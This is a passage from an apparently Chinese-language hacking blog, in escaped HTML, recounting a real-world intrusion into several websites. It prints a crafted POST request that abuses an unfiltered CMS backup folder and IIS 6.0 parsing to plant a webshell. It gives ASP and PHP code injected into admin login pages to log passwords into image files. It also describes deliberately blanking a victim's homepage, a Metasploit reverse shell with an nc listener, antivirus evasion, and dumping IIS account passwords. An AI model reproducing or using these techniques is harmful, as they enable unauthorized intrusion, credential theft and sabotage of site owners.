    \n\u5927\u5bb6\u80af\u5b9a\u662f\u8fd9\u6837\u60f3\u7684\uff0c\u4e0a\u4f20\u4e00\u4e2a\u5e26\u4e00\u53e5\u8bddasp\u6728\u9a6c\u7684\u56fe\u7247\uff0c\u7136\u540e\u5907\u4efd\u8fd9\u4e2a\u56fe\u7247\u4e3aasp\u4e0d\u5c31\u5b8c\u4e8b\u4e86\u5417\uff1f<\/span>
    \n\u4f46\u60b2\u50ac\u7684\u662f\u6709\u4ee5\u4e0b\u51e0\u4e2a\u95ee\u9898\u9700\u8981\u89e3\u51b3\uff1a<\/span><\/p>\n

      \n
    1. \u5f53\u524d\u6570\u636e\u5e93\u8def\u5f84\u8f93\u5165\u6846\u8fd9\u91cc\u548c\u5907\u4efd\u6570\u636e\u5e93\u540d\u79f0\u8f93\u5165\u6846\u8fd9\u91cc\u90fd\u662f\u53ea\u8bfb\u7684\uff0c\u65e0\u6cd5\u66f4\u6539\u3002<\/span><\/li>\n
    2. \u5373\u4fbf\u5907\u4efd\u4e3aa.asp;a.jpg\u4e5f\u4e0d\u53ef\u6267\u884c\uff08\u6211\u540e\u6765\u624d\u77e5\u9053\uff0c\u53ef\u80fd\u662f\u9632\u706b\u5899\u62e6\u622a\u7684\u539f\u56e0\uff09\u3002<\/span><\/li>\n<\/ol>\n

      \u7b2c\u4e00\u4e2a\u95ee\u9898\u597d\u5904\u7406\uff0c\u5ba2\u6237\u7aef\u7684\u4e00\u5207\u9632\u5fa1\u624b\u6bb5\u90fd\u662f\u6d6e\u4e91\u3002\u4e00\u4e2areadonly\u80fd\u963b\u6321\u6211\u8fd9\u4e2a\u4e45\u7ecf\u6c99\u573a\u7684\u8001\u5c06\u5417\uff1f\u4e0d\u8bba\u662f\u628a\u5176htm\u5b58\u4e0b\u6765\uff0c\u628aaction\u5b8c\u6574\u8def\u5f84\u9644\u4e0a\u63d0\u4ea4\uff0c\u8fd8\u662f\u7528firefox\u7684\u63d2\u4ef6\uff0c\u518d\u6216\u662f\u7528\u56fd\u5916\u7684\u795e\u5668burpsuite\uff0c\u90fd\u80fd\u8f7b\u677e\u7ed5\u8fc7\u3002<\/span><\/p>\n

      \u81f3\u4e8e\u7b2c\u4e8c\u4e2a\u95ee\u9898\uff0c\u6211\u53d1\u73b0\u80af\u5b9a\u5907\u4efd\u51fa\u4e86a.asp;a.jpg\u7c7b\u578b\u7684\u6587\u4ef6\uff0c\u53ef\u662f\u7528\u6d4f\u89c8\u5668\u8bbf\u95ee\u5374\u603b\u662f\u51fa\u73b0\u6076\u5fc3\u7684404\u9519\u8bef\u3002<\/span><\/p>\n

      \u6211\u53ea\u80fd\u518d\u770b\u5176cms\u6e90\u4ee3\u7801\uff0c\u770b\u4ed6\u5907\u4efd\u8fd9\u91cc\u5230\u5e95\u662f\u5982\u4f55\u5904\u7406\u7684\u3002<\/span><\/p>\n

      \u770b\u4e86\u4e00\u4f1a\u513f\u540e\uff0c\u5982\u613f\u4ee5\u507f\u7684\u53d1\u73b0\u4e86\u95ee\u9898\uff0c\u6f0f\u6d1e\u6587\u4ef6\u4e3aAdmin_DataBackup.asp<\/span><\/p>\n

      \u4ee3\u780165\u201483\u884c\u4ee3\u7801\u5982\u4e0b\uff1a<\/span><\/p>\n

      sub backupdata()<\/span>
      \nDbpath=request.form(\"Dbpath\")<\/span>
      \nDbpath=server.mappath(Dbpath)<\/span>
      \nbkfolder=request.form(\"bkfolder\")<\/span>
      \nbkdbname=request.form(\"bkdbname\")<\/span>
      \nSet Fso=server.createobject(\"scripting.filesystemobject\")<\/span>
      \nif fso.fileexists(dbpath) then<\/span>
      \nIf CheckDir(bkfolder) = True Then<\/span>
      \nfso.copyfile dbpath,bkfolder& \"\\\"& bkdbname & \".mdb\"<\/span>
      \nelse<\/span>
      \nMakeNewsDir bkfolder<\/span>
      \nfso.copyfile dbpath,bkfolder& \"\\\"& bkdbname & \".mdb\"<\/span>
      \nend if<\/span>
      \nresponse.write \"<center>\u5907\u4efd\u6570\u636e\u5e93\u6210\u529f\uff0c\u5907\u4efd\u7684\u6570\u636e\u5e93\u8def\u5f84\u4e3a \" & bkfolder & \"\\\" & bkdbname & \".mdb<\/center>\"<\/span>
      \nresponse.write \"<center><a href='Databackup\\\" & bkdbname & \".mdb' a>\u4e0b\u8f7d\u672c\u6b21\u5907\u4efd\u6570\u636e\u5e93\u5230\u672c\u5730<\/a><\/center>\"<\/span>
      \nElse<\/span>
      \nresponse.write \"\u627e\u4e0d\u5230\u60a8\u6240\u9700\u8981\u5907\u4efd\u7684\u6587\u4ef6\u3002\"<\/span>
      \nEnd if<\/span>
      \nend sub<\/span><\/code><\/p>\n

      \u7b2c68\u884c bkfolder=request.form(\u201cbkfolder\u201d) \u6ca1\u6709\u5bf9\u76ee\u5f55\u540d\u505a\u8fc7\u6ee4\u3002<\/span><\/p>\n

      \u800crequest.form(\u201cbkfolder\u201d)\u662f\u4ece\u7b2c37\u884c\u8fd9\u53e5\u4ee3\u7801\u4f20\u8fc7\u6765\u7684\u3002<\/span><\/p>\n

      <td height=\u201d22\u2033><input type=\u201dhidden\u201d size=50 name=bkfolder value=Databackup ><\/td><\/span><\/p>\n

      \u8bf4\u660e\u9ed8\u8ba4\u60c5\u51b5\u4e0bbkfolder= Databackup\u8fd9\u4e2a\u76ee\u5f55\u3002<\/span><\/p>\n

      \u7b2c72\u523076\u884c\uff0c\u662f\u8bf4\u68c0\u6d4bbkfolder\u8fd9\u4e2a\u76ee\u5f55\u662f\u5426\u5b58\u5728\uff0c\u5982\u679c\u4e0d\u5b58\u5728\u5c31\u8c03\u7528<\/span><\/p>\n

      MakeNewsDir bkfolder \u8fd9\u4e2a\u51fd\u6570\u3002<\/span><\/p>\n

      \u518d\u770b98\u2014103\u884c\u4ee3\u7801\u5982\u4e0b\uff1a<\/span><\/p>\n

      Function MakeNewsDir(foldername)<\/span><\/p>\n

      Set fso1 = CreateObject(\u201cScripting.FileSystemObject\u201d)<\/span><\/p>\n

      Set f = fso1.CreateFolder(foldername)<\/span><\/p>\n

      MakeNewsDir = True<\/span><\/p>\n

      Set fso1 = nothing<\/span><\/p>\n

      End Function<\/span><\/p>\n

      \u76f4\u63a5\u8c03\u7528fso\u521b\u5efa\u4e00\u4e2a\u6ca1\u6709\u8fc7\u6ee4\u7684\u53c2\u6570\u7684\u6587\u4ef6\u5939\u3002<\/span><\/p>\n

      \u8fd9\u65f6\u5927\u5bb6\u53ef\u80fd\u90fd\u60f3\u5230\u4e86\uff0c\u90a3\u4e48\u5982\u679c\u6211\u4eec\u4e0a\u4f20\u7684\u65f6\u5019\u6293\u5305\uff0c\u628a\u9ed8\u8ba4\u7684\u6587\u4ef6\u5939Databackup\u6539\u4e3akyo.asp\uff0c\u90a3\u4e0d\u5c31\u521b\u5efa\u4e86\u4e00\u4e2akyo.asp\u7684\u6587\u4ef6\u5939\u5417\uff1f\u8fd9\u6837\u914d\u5408iis6.0\u7684\u6f0f\u6d1e\u5c06\u53ef\u4ee5\u6210\u529f\u6267\u884c\u6211\u7684\u7f8e\u5973\u56fe\u7247asp\u6728\u9a6c\u3002<\/span><\/p>\n

      \u5b9e\u6218\u5f53\u4e2d\u4e5f\u662f\u8fd9\u6837\u7684\uff0c\u628a\u6293\u7684\u5305\u6539\u4e3a\u8fd9\u6837\u7684\u5f62\u5f0f,\u518d\u7528nc\u63d0\u4ea4\u5c31KO\u4e86\u3002<\/span><\/p>\n

      POST \/manage\/Admin_DataBackup.asp?action=Backup HTTP\/1.1<\/span><\/p>\n

      Accept: image\/gif, image\/x-xbitmap, image\/jpeg, image\/pjpeg, application\/x-shockwave-flash, application\/msword, application\/vnd.ms-excel, application\/vnd.ms-powerpoint, *\/*<\/span><\/p>\n

      Accept-Language: zh-cn<\/span><\/p>\n

      Content-Type: application\/x-www-form-urlencoded<\/span><\/p>\n

      Accept-Encoding: gzip, deflate<\/span><\/p>\n

      User-Agent: Mozilla\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)<\/span><\/p>\n

      Host: www.bbb3.com<\/span><\/p>\n

      Content-Length: 77<\/span><\/p>\n

      Connection: Keep-Alive<\/span><\/p>\n

      Cache-Control: no-cache<\/span><\/p>\n

      Cookie: ASPSESSIONIDSATTCRQC=LFGDIANCDLPBPGNJNCMPKEIM; Scms%5FVerifyCode=9109<\/span><\/p>\n

      DBpath=..%2FUpLoadFile%2F20120112012046769.jpg&bkfolder=kyo.asp&bkDBname=data<\/span><\/p>\n

      \u90a3\u4e48\u5907\u4efd\u6210\u529f\u540e\uff0c\u83dc\u5200\u63d0\u4ea4url\u8def\u5f84\u7c7b\u4f3c\u4e8e\u8fd9\u6837\uff1a<\/span><\/p>\n

      http:\/\/www.bbb3.com\/manage\/kyo.asp\/data.mdb<\/span><\/p>\n

      \u81f3\u6b64\u4e5f\u7b97\u62ff\u4e0b\u4e86\u4e00\u4e2awebshell\uff0c\u4e07\u91cc\u957f\u5f81\u53c8\u8fdb\u4e86\u4e00\u6b65\u3002<\/span><\/p>\n

      0<\/span><\/strong>\u00d709 asp\u767b\u9646\u53e3\u55c5\u63a2\u53d8\u6001\u7684\u5bc6\u7801<\/span><\/strong><\/p>\n

      \u5e78\u8fd0\u7684\u662fwww.bbb3.com\u6240\u5728\u7684\u865a\u62df\u4e3b\u673a\u6ca1\u6709\u505a\u4ec0\u4e48\u5b89\u5168\u63aa\u65bd\uff0c\u4f20\u4e0a\u53bb\u4e00\u4e2aaspx\u7684\u6728\u9a6c\u5c31\u53ef\u4ee5\u8de8\u5230www.bbb1.com\u548cwww.bbb2.com\u7684\u76ee\u5f55\u91cc\u53bb\u4e86\uff0c\u6bd5\u7adfaspx\u9ed8\u8ba4\u662f\u6743\u9650\u7a0d\u5927\u7684user\u6743\u9650\u3002\u5728\u5c1d\u8bd5ftp\u5bc6\u7801\u65e0\u679c\u540e\uff0c\u4e0b\u4e00\u6b65\u5c31\u662f\u5728bbb1\u548cbbb2\u7684\u540e\u53f0\u767b\u9646\u53e3\u9875\u9762\u5199\u55c5\u63a2\u4ee3\u7801\u4e86\u3002<\/span><\/p>\n

      \u6211\u5728Admin_Send.asp\u9875\u9762\u7b2c8\u884c\u5f00\u59cb\u6dfb\u52a0\u4ee5\u4e0b\u4ee3\u7801\uff1a<\/span><\/p>\n

      thename=replace(trim(request.form(\u201cusername\u201d)),\u201d\u2018\u201d,\u201d”)<\/span><\/p>\n

      thepass=replace(trim(Request.form(\u201cpassword\u201d)),\u201d\u2018\u201d,\u201d”)<\/span><\/p>\n

      SaveFile=\u201dpage.gif\u201d<\/span><\/p>\n

      GetPostStr=thename&\u201d|\u201d&thepass<\/span><\/p>\n

      set F=server.CreateObject(\u201cscripting.filesystemobject\u201d)<\/span><\/p>\n

      set I=F.OpenTextFile(server.mappath(SaveFile),8,True,0)<\/span><\/p>\n

      I.WriteLine(GetPostStr)<\/span><\/p>\n

      I.close<\/span><\/p>\n

      Set F=nothing<\/span><\/p>\n

      \u53ea\u8981\u7ba1\u7406\u5458\u767b\u9646\u540e\u53f0\uff0c\u5bc6\u7801\u5c31\u4f1a\u88ab\u8bb0\u5f55\u5728page.gif\u4e2d\uff0c\u5269\u4e0b\u7684\u5c31\u53ea\u6709\u7b49\u4e86\u3002<\/span><\/p>\n

      \u4f46\u6211\u4e0d\u662f\u4e00\u4e2a\u5fcd\u8005\uff0c\u7b49\u4e86\u4e00\u5929\u65e0\u679c\u540e\uff0c\u6211\u5c31\u5728\u4ed6\u6570\u636e\u5e93\u7f51\u7ad9\u914d\u7f6e\u5b57\u6bb5\u505a\u4e86\u70b9\u624b\u811a<\/span><\/p>\n

      \u81f4\u4f7f\u8bbf\u95ee\u4ed6\u7f51\u7ad9\u9996\u9875\u662f\u7a7a\u767d\uff0c\u4f46\u662f\u540e\u53f0\u8fd8\u662f\u53ef\u4ee5\u6b63\u5e38\u767b\u9646\u7684\u3002\u679c\u7136\u8fd9\u5bb6\u4f19\u4e0d\u5230\u534a\u5929\u5c31\u6025\u4e86\uff0c\u5f53\u5929\u665a\u4e0a\u7684\u65f6\u5019\u6211\u5c31\u987a\u5229\u7684\u55c5\u63a2\u5230\u4e86\u4ed6\u7684\u53d8\u6001\u7684\u5bc6\u7801\u3002\u5982\u56fe16\uff1a<\/span><\/p>\n

      \"\"<\/p>\n

      \u56fe16<\/span><\/p>\n

      \u4ece\u56fe16\u53ef\u4ee5\u770b\u5230\uff0c\u5bc6\u7801\u679c\u7136\u5f88\u5f3a\u608d\uff0c10\u4f4d\u4ee5\u4e0a\uff0c\u5b57\u6bcd\u6570\u5b57\u518d\u52a0\u4e0a+-\u53f7\uff0c\u8ba9www.cmd5.com\u518d\u6dfb50\u516c\u65a4\u7684\u786c\u76d8\u4e5f\u7834\u4e0d\u4e86\u554a\u3002<\/span><\/p>\n

      \u62ff\u5230\u8fd9\u4e2a\u5173\u952e\u6027\u7684\u5bc6\u7801\uff0c\u518d\u7528\u524d\u9762\u7814\u7a76\u51fa\u76843hoocms \u540e\u53f0getshell\u6f0f\u6d1e\uff0c\u8f7b\u8f66\u719f\u8def\u7684\u62ff\u4e0bwww.bbb.com\u7684webshell\uff0c\u4e5f\u5c31\u662fa.111.com\u6240\u5728\u7684\u865a\u62df\u4e3b\u673a\u3002<\/span><\/p>\n

      \u63a5\u4e0b\u6765\u7684\u4efb\u52a1\u5c31\u662f\u63d0\u6743\u8de8\u76ee\u5f55\u5230a.111.com\u4e86\u3002<\/span><\/p>\n

      0<\/span><\/strong>\u00d70a \u7a81\u7834\u661f\u5916+\u62a4\u536b\u795e<\/span><\/strong><\/p>\n

      \u8fdb\u884c\u5230\u8fd9\u91cc\uff0c\u5728\u661f\u5916\u865a\u62df\u4e3b\u673a+\u62a4\u536b\u795e.\u5165\u4fb5\u9632\u62a4\u4e13\u5bb6\u7684\u9632\u5fa1\u4e4b\u4e0b\uff0c\u786e\u5b9e\u8ba9\u4eba\u671b\u800c\u5374\u6b65\u3002\u597d\u5728php\u7248\u672c\u6bd4\u8f83\u4f4e\uff0c\u6211\u7ec8\u4e8e\u7528\u4e0a\u4e86\u90a3\u4e2a\u8c03\u8bd5\u597d\u7684php\u6ea2\u51fa\u6f0f\u6d1e\u3002\u5728metasploit\u751f\u6210\u4e00\u4e2a\u53cd\u5f39\u7aef\u53e3\u7684shellcode\u6dfb\u52a0\u5230\u90a3\u4e2aexp.php\u4ee3\u7801\u4e2d\u540e\u3002\u6211\u5728\u672c\u673a\u6267\u884cnc \u2013vvlp 8181,\u7136\u540e\u628aexp.php\u4f20\u5230www.bbb.com\u6839\u76ee\u5f55\u3002\u5f53\u6211\u5728\u6d4f\u89c8\u5668\u6253\u5f00http:\/\/www.bbb.com\/exp.php\u65f6\uff0c\u7acb\u523b\u51fa\u73b0\u4e86\u5982\u56fe17\u7684\u9519\u8bef\uff1a<\/span><\/p>\n

      \"\"<\/p>\n

      \u56fe17<\/span><\/p>\n

      \u4ece\u56fe17\u8fd4\u56de\u7684\u5185\u5bb9\u6765\u770b\uff0c\u5e94\u8be5\u662f\u6ca1\u6709\u6210\u529f\u3002\u540e\u6765\u6211\u5728vmware_win2003\u8bbe\u7f6e\u4e86\u548c\u76ee\u6807\u64cd\u4f5c\u7cfb\u7edf+php\u7248\u672c+php\u6267\u884c\u65b9\u5f0f\uff08ISAPI\uff09\u4e00\u6a21\u4e00\u6837\u7684\u73af\u5883\uff0c\u6211\u987a\u5229\u53cd\u5f39\u56de\u6765\u4e00\u4e2ant network\u6743\u9650\u7684shell\u3002\u8fd9\u91cc\u6211\u8003\u8651\u5e94\u8be5\u662fw3wp.exe \u6267\u884c\u7684shellcode \uff0c\u6240\u4ee5\u7ee7\u627fw3wp\u7684nt network\u6743\u9650\u3002\u4f46\u4e0d\u8bba\u600e\u6837\u4e5f\u662f\u4e2a\u4ea4\u4e92\u5f0f\u53ef\u6267\u884c\u547d\u4ee4\u7684shell\u554a\u3002\u6211\u7b2c6\u6b21\u60b2\u50ac\u7684\u8fd0\u6c14\uff0c\u4fc3\u4f7f\u6211\u7ec8\u4e8e\u627e\u5230\u4e86\u7b54\u6848\uff0c\u539f\u6765\u76ee\u6807win2003\u6253\u5f00\u4e86dep\uff08\u5806\u6808\u6570\u636e\u6267\u884c\u4fdd\u62a4\uff09\u3002<\/span><\/p>\n

      \u6211\u4ecd\u7136\u6ca1\u6709\u6c14\u9981\uff0c\u867d\u7136\u4e0a\u6b21\u57df\u540d\u8fc7\u671f\u90a3\u4e2a\u7ad9\u7684\u76ee\u5f55\u6ca1\u6709\u6267\u884caspx\u7684\u6743\u9650\uff0c\u90a3\u4e48\u8fd9\u4e2awww.bbb.com\u7684\u76ee\u5f55\u6211\u8fd8\u6ca1\u8bd5\u5462\u3002\u4e07\u4e00\u652f\u6301aspx\u4e0d\u5c31\u53c8\u591a\u4e00\u79cd\u6267\u884c\u547d\u4ee4\u7684\u65b9\u6cd5\u5417\uff1f\u5373\u8fd9\u4e2a\u65b9\u6cd5\uff1a<\/span><\/p>\n

      System.Diagnostics.Process.Start(@\u201dcalc.exe\u201d);)<\/span><\/p>\n

      \u8fd9\u6b21\u6211\u679c\u7136\u6ca1\u6709\u518d\u6b21\u82e6\u547d\uff0cbbb.com\u662f\u652f\u6301aspx\u7684\uff0c\u53ea\u662f\u6709\u4e24\u4e2a\u95ee\u9898\u9700\u8981\u89e3\u51b3\u3002<\/span><\/p>\n

        \n
      1. \u62a4\u536b\u795e\u51e0\u4e4e\u6740\u5149\u4e86\u6240\u6709\u7684aspx\u6728\u9a6c\uff0c\u9700\u8981\u7a81\u7834\u3002<\/span><\/li>\n
      2. \u661f\u5916\u865a\u62df\u4e3b\u673a\u7684\u53ef\u5199\u53ef\u6267\u884c\u76ee\u5f55\u7684\u5bfb\u627e\u662f\u4e2a\u5927\u9ebb\u70e6\u3002\u9700\u8981\u5bfb\u89c5\u4e00\u4e2a\uff0c\u4e0a\u4f20cmd.exe\uff0c\u6765\u652f\u6301aspx\u6267\u884c\u547d\u4ee4\uff0c\u56e0\u4e3a\u5927\u5bb6\u90fd\u77e5\u9053win2003\u9ed8\u8ba4\u60c5\u51b5\uff0cc:\\windows\\system32\\cmd.exe\u53ea\u5bf9administrator\u6709\u6743\u9650\u8bfb\u5199\u3002<\/span><\/li>\n<\/ol>\n

        \u7b2c\u4e00\u4e2a\u95ee\u9898\u6bd4\u8f83\u597d\u89e3\u51b3\uff0c\u6211\u8bb0\u5f97\u6211\u5199\u8fc7\u4e00\u7bc7\u5728\u9ed1\u5ba2\u624b\u518c\u53d1\u8868\u7684\u300a\u6d45\u8c08\u5728webshell\u4e0b\u6267\u884c\u547d\u4ee4\u300b\u8fd9\u4e00\u7bc7\u6587\uff0c\u91cc\u9762\u6709\u6211\u63d0\u4f9b\u7684\u4e09\u79cdaspx\u6267\u884c\u547d\u4ee4\u7684\u5c0f\u9a6c\u3002\u4f7f\u7528\u4efb\u4f55\u4e00\u4e2a\uff0c\u6539\u53d8\u4e00\u4e0b\u5b57\u6bb5\u540d\uff0c\u9664\u53bb\u654f\u611f\u5b57\u7b26\u4e32\uff0c\u518d\u628a\u51fd\u6570\u4f4d\u7f6e\u6761\u6362\u4e00\u4e0b\u3002\u4e5f\u5c31\u80fd\u8fc7\u4e86\uff0c\u6700\u591a\u4e5f\u5c31\u662f\u518d\u52a0\u5bc6\u4e00\u4e0b\u800c\u5df2\u3002\u8fd9\u4e2a\u96be\u4e0d\u5012\u6211\uff0c\u6bd5\u7adf\u6df7\u5728\u770b\u96ea\u8bba\u575b\u7814\u7a76\u52a0\u5bc6\u89e3\u5bc6\u7b97\u6cd5\u4e5f\u6709\u51e0\u5e74\u5149\u666f\u3002<\/span><\/p>\n

        \u81f3\u4e8e\u7b2c\u4e8c\u4e2a\u95ee\u9898\uff0c\u6211\u5012\u6ca1\u6709\u4ec0\u4e48\u597d\u65b9\u6cd5\uff0c\u53ea\u80fd\u5199\u4e2a\u904d\u5386\u811a\u672c\uff0c\u6d4b\u8bd5\u53ef\u8bfb\u7684\u6bcf\u4e00\u4e2a\u76ee\u5f55\u662f\u5426\u6709\u6f0f\u7f51\u7684\u53ef\u5199\u76ee\u5f55\u5b58\u5728\u4e86\u3002\u8fd9\u4e2a\u7f51\u4e0a\u6709\u5f88\u591a\u5148\u4eba\u5df2\u7ecf\u5199\u51fa\u8fc7\u8fd9\u6837\u7684\u65b9\u6cd5\u4e86\uff0c\u7528\u62ff\u6765\u4e3b\u4e49\u6539\u4e00\u6539\u5373\u53ef\u3002<\/span><\/p>\n

        \u7ec8\u4e8e\u88ab\u6211\u627e\u5230\u4e86\u661f\u5916\u7684\u4e00\u4e2a\u53ef\u5199\u76ee\u5f55\u662f\uff1a<\/span><\/p>\n

        C:\\Documents and Settings\\All Users\\Application Data\\Microsoft\\Media Index<\/span><\/p>\n

        \u5269\u4e0b\u7684\u4e8b\u60c5\u5c31\u7b80\u5355\u4e86\uff0c\u6211\u4e5f\u61d2\u5f97\u7528pr\u5927\u6740\u5668\uff0c\u4e5f\u7528\u4e0d\u7740\u6700\u65b0windows\u5168\u7248\u672c\u76840day\u63d0\u6743exp\u8fd9\u4e2a\u725b\u5200\u4e86\u3002\u76f4\u63a5\u4f20\u4e00\u4e2acscript.exe+iisgetpass.vbs<\/span><\/p>\n

        \u8bfb\u51fa\u6240\u6709\u7f51\u7ad9\u7528\u6237\u7684\u914d\u7f6e\u4fe1\u606f\u548c\u5bc6\u7801\u5373\u53ef\u3002iisgetpass.vbs\u4ee3\u7801\u5927\u5bb6\u90fd\u6709\uff0c\u6211\u5c31\u4e0d\u5728\u8fd9\u91cc\u5360\u7bc7\u5e45\u4e86\u3002<\/span><\/p>\n

        \u6700\u7ec8\u7ed3\u679c\u5982\u56fe18\uff1a<\/span><\/p>\n

        \"\"<\/p>\n

                              \u56fe18<\/span><\/p>\n

        \u4e00\u822c\u8fd9\u6837\u7684\u7ed3\u6784\u7684\u7f51\u7ad9,iis\u8d26\u6237\u7684\u5bc6\u7801\u5c31\u662fftp\u7684\u5bc6\u7801\u3002\u5c31\u8fd9\u6837\u6211\u5f97\u5230\u4e86a.111.com\u7684ftp\u8d26\u6237\u548c\u5bc6\u7801\uff0c\u5e76\u6210\u529f\u628a\u5176\u62ff\u4e0b\u3002<\/span><\/p>\n

        \u7531\u4e8e\u4e3b\u76ee\u6807www.aaa.com\u53ea\u5f0080,\u4e5f\u65e0\u6cd5\u7528\u8fd9\u4e2aftp\u5bc6\u7801\u53bb\u5c1d\u8bd5\u5b83\uff0c\u5e76\u4e14\u518d\u7528\u8fd9\u4e2a\u5bc6\u7801\u5c1d\u8bd5\u5176\u8bba\u575b\u7ba1\u7406\u5458\u7684\u5bc6\u7801\u53c8\u65e0\u7ed3\u679c\uff0c\u53ea\u80fd\u7ee7\u7eed\u55c5\u63a2\u4e86\u3002<\/span><\/p>\n

          <\/span>0<\/span><\/strong>\u00d70b php\u55c5\u63a2\u76ee\u6807\u7ba1\u7406\u5458\u5bc6\u7801<\/span><\/strong><\/p>\n

         <\/span><\/strong> \u62ff\u4e0ba.111.com\u540e\uff0c\u8fd8\u662f\u6709\u4e00\u4e9b\u60ca\u559c\u7684\u3002\u6211\u770b\u5230\u4e86www.111.com\u7684\u65e9\u671f\u7684\u8bba\u575b\u6570\u636e\u5e93\u5b58\u5728\u4e8ea.111.com\u7684\u5e93\u4e2d\uff0c\u5e76\u4e14\u6211\u7ecf\u8fc7\u8f6c\u6362\uff0c\u5176\u7ba1\u7406\u5458\u7684discuz! Hash\u5bc6\u7801\u4e0ea.111.com\u7684md5 hash\u5bc6\u7801\u662f\u4e00\u6837\u7684\u3002<\/span><\/p>\n

        \u5176\u5b9e\u8fd9\u4e2a\u5bf9\u6bd4\u5f88\u7b80\u5355\u3002<\/span><\/p>\n

        \u5047\u8bbea.111.com\u4e2d\u7ba1\u7406\u5458\u7684\u5bc6\u7801hash\u4e3a\uff1a228ab4dd53787ce32a88ade0eeea8a51<\/span><\/p>\n

        \u65e9\u671fwww.111.com\u7684discuz \u7ba1\u7406\u5458\u5bc6\u7801hash\u4e3a\uff1a<\/span><\/p>\n

        8946fa73f2b44b64da2ebab1aaa57ec6\uff1a42ee90<\/span><\/p>\n

        \u90a3\u4e48\u6d4b\u8bd5md5(228ab4dd53787ce32a88ade0eeea8a5142ee90)\u5982\u679c\u7b49\u4e8e8946fa73f2b44b64da2ebab1aaa57ec6\uff0c\u5219\u8bf4\u660e\u4e24\u4e2a\u5bc6\u7801\u7684\u660e\u6587\u662f\u4e00\u6837\u7684\u3002<\/span><\/p>\n

        \u56e0\u4e3adiscuz\u52a0\u5bc6\u7684\u65b9\u5f0f\u662f\uff1amd5(md5($pass).$salt)\uff0c\u6211\u6070\u6070\u8bc1\u5b9e\u4e86\u8fd9\u4e00\u70b9\u3002<\/span><\/p>\n

        \u7531\u4e8e\u5bc6\u7801\u7684\u590d\u6742\u5ea6\u4e0d\u662f\u73b0\u4ee3\u7684\u4eba\u7c7b\u6240\u80fd\u66b4\u529b\u7834\u89e3\u7684\uff0c\u6211\u4e8e\u662f\u53c8\u4e00\u6b21\u9009\u62e9\u4e86php\u767b\u9646\u53e3\u5bc6\u7801\u55c5\u63a2\u3002<\/span><\/p>\n

        \u4e8e\u6b64\u540c\u65f6\u8fd8\u5728\u7ee7\u7eed\u7740\u53e6\u4e00\u4e2a\u5de5\u4f5c\uff0c\u5c31\u662f\u67e5\u627e\u90a3\u4e2a\u5e16\u5b50\u6240\u5728\u7248\u5757\u7684\u6591\u7af9\u7684\u7528\u6237\u540d\uff0c\u62ff\u5230\u8fd9\u4e9b\u4efb\u4f55\u4e00\u4e2a\u6591\u7af9\u7684\u5bc6\u7801\u4e0d\u4e5f\u4e00\u6837\u80fd\u5220\u5e16\u5b50\u8fbe\u5230\u76ee\u7684\u5417\uff1f\u4f46\u7b2c7\u6b21\u60b2\u50ac\u7684\u8fd0\u6c14\u544a\u8bc9\u6211\uff0c\u4f60\u7701\u7701\u5427\uff0c\u4eba\u5bb6\u90a3\u4e2a\u7248\u5757\u7684\u6591\u7af9\u5c31\u662f\u7ba1\u7406\u5458\u4e00\u4e2a\u4eba\u3002\u6211\u518d\u6b21\u65e0\u8bed\u3002<\/span><\/p>\n

        \u8fd8\u662f\u8001\u8001\u5b9e\u5b9e\u7684\u5199\u4ee3\u7801\u55c5\u63a2\u5427\u3002<\/span><\/p>\n

        \u6211\u627e\u5230a.111.com\u7684\u524d\u53f0\u548c\u540e\u53f0\u767b\u9646\u53e3\u6dfb\u52a0\u4e86\u4e0b\u9762\u7684\u4ee3\u7801\u3002<\/span><\/p>\n

            $username1 = $this->Username;<\/span><\/p>\n

            $password1 = $this->Password;<\/span><\/p>\n

            $file=\u201d.\/.\/images\/ bg1.gif\u201d;<\/span><\/p>\n

            $handle = @fopen(\u201c.\/.\/images\/th_bg1.gif\u201d, \u201ca\u201d);<\/span><\/p>\n

            $recontent = fread($handle,filesize($file));<\/span><\/p>\n

            $content= $username1.\u201d\u2014-\u201d.$password1.\u201d\u2014-date is:\u201d.date(\u201cY-m-d H:i:s\u201d).\u201d\\r\\n\u201d;<\/span><\/p>\n

            $result=$recontent.\u201d\\r\\n\u201d.$content;<\/span><\/p>\n

            @fwrite($handle,$result);<\/span><\/p>\n

        \u8fd9\u6b21\u6211\u6ca1\u6709\u7740\u6025\uff0c\u56e0\u4e3a\u6211\u53d1\u73b0\u8fd9\u4e2a\u7ba1\u7406\u5458\u5f88\u52e4\u5feb\uff0c\u51e0\u4e4e\u5929\u5929\u66f4\u65b0\u535a\u5ba2\uff0c\u4e8e\u662f\u7b2c\u4e8c\u5929\u987a\u5229\u8bb0\u5f55\u5230\u5176\u5bc6\u7801\u3002<\/span><\/p>\n

        0<\/span><\/strong>\u00d70c discuz!\u63d0\u793a\u95ee\u9898\u7684\u963b\u788d<\/span><\/strong><\/p>\n

          <\/span><\/strong><\/p>\n

        \u5728\u62ff\u5230\u7ba1\u7406\u5458\u53d8\u6001\u5bc6\u7801\u8feb\u4e0d\u53ca\u5f85\u7684\u767b\u9646\u4e4b\u540e\uff0c\u7b2c8\u6b21\u60b2\u50ac\u7684\u8fd0\u6c14\u4e5f\u540c\u65f6\u964d\u4e34\u4e86\u3002\u4ed6\u9700\u8981\u63d0\u793a\u95ee\u9898\u7684\u7b54\u6848\u624d\u80fd\u767b\u9646\u3002<\/span><\/p>\n

        \u9b3c\u624d\u77e5\u9053\u4ed6\u6bcd\u4eb2\u7684\u540d\u5b57\uff0c\u4ed6\u7237\u7237\u7684\u540d\u5b57\uff0c\u4ed6\u7236\u4eb2\u51fa\u751f\u7684\u57ce\u5e02\uff0c\u4ed6\u8001\u5e08\u7684\u540d\u5b57\u2026\u2026<\/span><\/p>\n

        \u518d\u8bf4\u4ed6\u4e5f\u4e0d\u4e00\u5b9a\u5c31\u8001\u8001\u5b9e\u5b9e\u5199\u771f\u5b9e\u7b54\u6848\u554a\u3002<\/span><\/p>\n

        \u5728\u4ee5\u524d\uff0c\u6211\u9047\u5230\u6b64\u7c7b\u60c5\u51b5\u90fd\u662f\u76f4\u63a5\u653e\u5f03\uff0c\u4f46\u662f\u8fd9\u6b21\u4e0d\u540c\uff0c\u524d\u9762\u4e00\u4e2a\u591a\u793c\u62dc\u627f\u8f7d\u4e86\u6211\u592a\u591a\u7684\u78e8\u96be\u548c\u8111\u7ec6\u80de\uff0c\u6211\u65e0\u6cd5\u8bf4\u670d\u81ea\u5df1\u653e\u5f03\u3002<\/span><\/p>\n

